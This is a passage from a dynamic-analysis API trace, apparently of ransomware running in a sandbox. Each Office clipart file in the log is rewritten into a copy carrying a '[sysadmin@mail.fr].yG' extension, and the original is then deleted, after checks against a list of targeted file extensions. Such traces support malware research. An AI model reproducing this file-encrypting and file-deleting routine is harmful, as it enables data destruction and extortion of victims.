	[0151.307] lstrlenW (lpString=".dbf") returned 4
	[0151.307] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0151.308] lstrlenW (lpString=".1cd") returned 4
	[0151.308] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0151.308] lstrlenW (lpString=".jpg") returned 4
	[0151.308] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.308] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0151.308] lstrlenW (lpString="HH01875_.WMF") returned 12
	[0151.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0151.309] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=2616) returned 1
	[0151.309] CloseHandle (hObject=0x388) returned 1
	[0151.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 0x220
	[0151.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0151.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0151.309] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.310] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0151.328] GetLastError () returned 0x0
	[0151.328] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0xa38, lpOverlapped=0x0) returned 1
	[0151.482] WriteFile (in: hFile=0x51c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xa40, lpOverlapped=0x0) returned 1
	[0151.484] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.484] WriteFile (in: hFile=0x51c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.484] SetEndOfFile (hFile=0x51c) returned 1
	[0151.484] CloseHandle (hObject=0x51c) returned 1
	[0151.484] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.484] SetEndOfFile (hFile=0x388) returned 1
	[0151.488] CloseHandle (hObject=0x388) returned 1
	[0151.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0151.489] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 1
	[0151.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0151.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0151.490] lstrlenW (lpString=".doc") returned 4
	[0151.491] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.491] lstrlenW (lpString=".docx") returned 5
	[0151.491] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.491] lstrlenW (lpString=".pdf") returned 4
	[0151.491] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.491] lstrlenW (lpString=".xls") returned 4
	[0151.491] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.491] lstrlenW (lpString=".xlsx") returned 5
	[0151.491] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.491] lstrlenW (lpString=".ppt") returned 4
	[0151.491] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0151.491] lstrlenW (lpString=".zip") returned 4
	[0151.491] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.492] lstrlenW (lpString=".rar") returned 4
	[0151.492] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.492] lstrlenW (lpString=".bz2") returned 4
	[0151.492] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.492] lstrlenW (lpString=".7z") returned 3
	[0151.492] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0151.492] lstrlenW (lpString=".dbf") returned 4
	[0151.492] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0151.492] lstrlenW (lpString=".1cd") returned 4
	[0151.492] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0151.492] lstrlenW (lpString=".jpg") returned 4
	[0151.492] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0151.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0151.492] lstrlenW (lpString=".doc") returned 4
	[0151.492] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.492] lstrlenW (lpString=".docx") returned 5
	[0151.493] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.493] lstrlenW (lpString=".pdf") returned 4
	[0151.493] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.493] lstrlenW (lpString=".xls") returned 4
	[0151.493] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.493] lstrlenW (lpString=".xlsx") returned 5
	[0151.493] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.493] lstrlenW (lpString=".ppt") returned 4
	[0151.493] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0151.493] lstrlenW (lpString=".zip") returned 4
	[0151.493] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.493] lstrlenW (lpString=".rar") returned 4
	[0151.493] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.493] lstrlenW (lpString=".bz2") returned 4
	[0151.493] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.493] lstrlenW (lpString=".7z") returned 3
	[0151.493] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0151.493] lstrlenW (lpString=".dbf") returned 4
	[0151.493] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0151.494] lstrlenW (lpString=".1cd") returned 4
	[0151.494] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0151.494] lstrlenW (lpString=".jpg") returned 4
	[0151.494] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.494] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0151.494] lstrlenW (lpString="HM00114_.WMF") returned 12
	[0151.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0151.496] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=22116) returned 1
	[0151.496] CloseHandle (hObject=0x388) returned 1
	[0151.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf")) returned 0x220
	[0151.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0151.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0151.497] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.497] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0151.498] GetLastError () returned 0x0
	[0151.498] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x5664, lpOverlapped=0x0) returned 1
	[0151.716] WriteFile (in: hFile=0x554, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x5670, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x5670, lpOverlapped=0x0) returned 1
	[0151.718] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.718] WriteFile (in: hFile=0x554, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.718] SetEndOfFile (hFile=0x554) returned 1
	[0151.835] CloseHandle (hObject=0x554) returned 1
	[0151.835] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.835] SetEndOfFile (hFile=0x388) returned 1
	[0151.882] CloseHandle (hObject=0x388) returned 1
	[0151.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0151.883] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf")) returned 1
	[0151.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0151.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0151.884] lstrlenW (lpString=".doc") returned 4
	[0151.884] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.884] lstrlenW (lpString=".docx") returned 5
	[0151.884] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.884] lstrlenW (lpString=".pdf") returned 4
	[0151.884] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.884] lstrlenW (lpString=".xls") returned 4
	[0151.884] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.884] lstrlenW (lpString=".xlsx") returned 5
	[0151.884] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.884] lstrlenW (lpString=".ppt") returned 4
	[0151.884] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0151.884] lstrlenW (lpString=".zip") returned 4
	[0151.884] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.884] lstrlenW (lpString=".rar") returned 4
	[0151.884] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.884] lstrlenW (lpString=".bz2") returned 4
	[0151.884] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.884] lstrlenW (lpString=".7z") returned 3
	[0151.884] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0151.884] lstrlenW (lpString=".dbf") returned 4
	[0151.884] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0151.884] lstrlenW (lpString=".1cd") returned 4
	[0151.884] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0151.885] lstrlenW (lpString=".jpg") returned 4
	[0151.885] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0151.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0151.885] lstrlenW (lpString=".doc") returned 4
	[0151.885] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.885] lstrlenW (lpString=".docx") returned 5
	[0151.885] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.885] lstrlenW (lpString=".pdf") returned 4
	[0151.885] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.885] lstrlenW (lpString=".xls") returned 4
	[0151.885] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.885] lstrlenW (lpString=".xlsx") returned 5
	[0151.885] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.885] lstrlenW (lpString=".ppt") returned 4
	[0151.885] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0151.885] lstrlenW (lpString=".zip") returned 4
	[0151.885] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.885] lstrlenW (lpString=".rar") returned 4
	[0151.885] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.885] lstrlenW (lpString=".bz2") returned 4
	[0151.885] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.885] lstrlenW (lpString=".7z") returned 3
	[0151.885] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0151.885] lstrlenW (lpString=".dbf") returned 4
	[0151.885] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0151.886] lstrlenW (lpString=".1cd") returned 4
	[0151.886] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0151.886] lstrlenW (lpString=".jpg") returned 4
	[0151.886] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.886] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0151.886] lstrlenW (lpString="IN00204_.WMF") returned 12
	[0151.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0152.210] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=1848) returned 1
	[0152.210] CloseHandle (hObject=0x388) returned 1
	[0152.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf")) returned 0x220
	[0152.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0152.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0152.211] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.211] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0152.213] GetLastError () returned 0x0
	[0152.213] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x738, lpOverlapped=0x0) returned 1
	[0152.244] WriteFile (in: hFile=0x540, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x740, lpOverlapped=0x0) returned 1
	[0152.245] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0152.245] WriteFile (in: hFile=0x540, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0152.246] SetEndOfFile (hFile=0x540) returned 1
	[0152.246] CloseHandle (hObject=0x540) returned 1
	[0152.246] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.246] SetEndOfFile (hFile=0x388) returned 1
	[0152.249] CloseHandle (hObject=0x388) returned 1
	[0152.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0152.249] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf")) returned 1
	[0152.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0152.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0152.250] lstrlenW (lpString=".doc") returned 4
	[0152.250] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0152.250] lstrlenW (lpString=".docx") returned 5
	[0152.250] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0152.250] lstrlenW (lpString=".pdf") returned 4
	[0152.250] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0152.251] lstrlenW (lpString=".xls") returned 4
	[0152.251] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0152.251] lstrlenW (lpString=".xlsx") returned 5
	[0152.251] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0152.251] lstrlenW (lpString=".ppt") returned 4
	[0152.251] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0152.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0152.251] lstrlenW (lpString=".zip") returned 4
	[0152.251] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0152.251] lstrlenW (lpString=".rar") returned 4
	[0152.251] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0152.251] lstrlenW (lpString=".bz2") returned 4
	[0152.251] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0152.251] lstrlenW (lpString=".7z") returned 3
	[0152.251] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0152.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0152.251] lstrlenW (lpString=".dbf") returned 4
	[0152.251] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0152.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0152.251] lstrlenW (lpString=".1cd") returned 4
	[0152.251] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0152.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0152.251] lstrlenW (lpString=".jpg") returned 4
	[0152.251] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0152.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0152.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0152.252] lstrlenW (lpString=".doc") returned 4
	[0152.252] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0152.252] lstrlenW (lpString=".docx") returned 5
	[0152.252] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0152.252] lstrlenW (lpString=".pdf") returned 4
	[0152.252] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0152.252] lstrlenW (lpString=".xls") returned 4
	[0152.252] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0152.252] lstrlenW (lpString=".xlsx") returned 5
	[0152.252] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0152.252] lstrlenW (lpString=".ppt") returned 4
	[0152.252] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0152.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0152.252] lstrlenW (lpString=".zip") returned 4
	[0152.252] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0152.252] lstrlenW (lpString=".rar") returned 4
	[0152.252] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0152.252] lstrlenW (lpString=".bz2") returned 4
	[0152.252] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0152.252] lstrlenW (lpString=".7z") returned 3
	[0152.252] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0152.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
